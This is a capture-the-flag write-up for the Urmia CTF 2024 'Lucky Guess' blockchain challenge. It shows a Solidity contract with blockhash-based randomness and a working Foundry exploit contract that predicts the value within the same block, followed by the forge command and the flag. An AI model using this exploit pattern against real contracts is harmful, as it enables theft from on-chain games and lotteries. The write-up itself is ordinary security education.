Urmia CTF 2024 (Blockchain)
Hello Friend,
I recently participated in Urmia CTF 2024, which featured a single blockchain challenge.
I managed to solve it and thought you’d enjoy reading this writeup.
Our team, konohagakure (The Hidden Leaf), secured 38th place in the event.
Lucky Guess [First Blood 🩸]
Contract Details
RPC URL: https://rpc2.sepolia.org/
Blockchain: Sepolia testnet
Contract Address: 0xb62d3f4abF158d6042c58647294dDC037B3d8809
LuckyGuess.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract LuckyGuess {
mapping(address => bool) public winCount;
uint256 public MULTIPLIER = 117067084070050048050052066108111099107099104097105110;
function guess(uint256 _prediction) public returns (bool) {
uint256 blockHash = uint256(blockhash(block.number - 1));
uint256 randomValue = blockHash / MULTIPLIER; // very random number
if (randomValue == _prediction) {
winCount[tx.origin] = true; // make it true to solve challenge
return true;
} else {
return false;
}
}
function isSolved(address user) public view returns (bool) {
return winCount[user];
}
}
Goal: Set the winCount
of our address to true.
Attack:
- To solve this challenge we need to provide a correct
prediction
toguess
function. - The contract is generating random number using global variables like
block.number
&blockhash
- Since these values are publicly known, the randomness is weak.
- We can exploit this by creating a contract that replicates the same logic as
LuckyGuess
.
Attack.s.sol
// SPDX-License-Identifier: MIT
import {LuckyGuess} from "../src/LuckyGuess.sol";
import {Script, console} from "forge-std/Script.sol";
contract LuckyGuessSolve is Script {
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
new Pwn();
vm.stopBroadcast();
}
}
contract Pwn {
LuckyGuess lucky = LuckyGuess(0xb62d3f4abF158d6042c58647294dDC037B3d8809);
uint256 MULTIPLIER = 117067084070050048050052066108111099107099104097105110;
constructor() {
uint256 blockHash = uint256(blockhash(block.number - 1));
uint256 randomValue = blockHash / MULTIPLIER;
bool success = lucky.guess(randomValue);
console.log(success);
console.log("Solve Status", lucky.isSolved(msg.sender));
}
}
forge script script/Attack.s.sol:LuckyGuessSolve --rpc-url $RPC_URL --broadcast
Flag: UCTF{N0tH1ng_i5_R4ndom_1n_BLockCh41n}
Thanks for reading!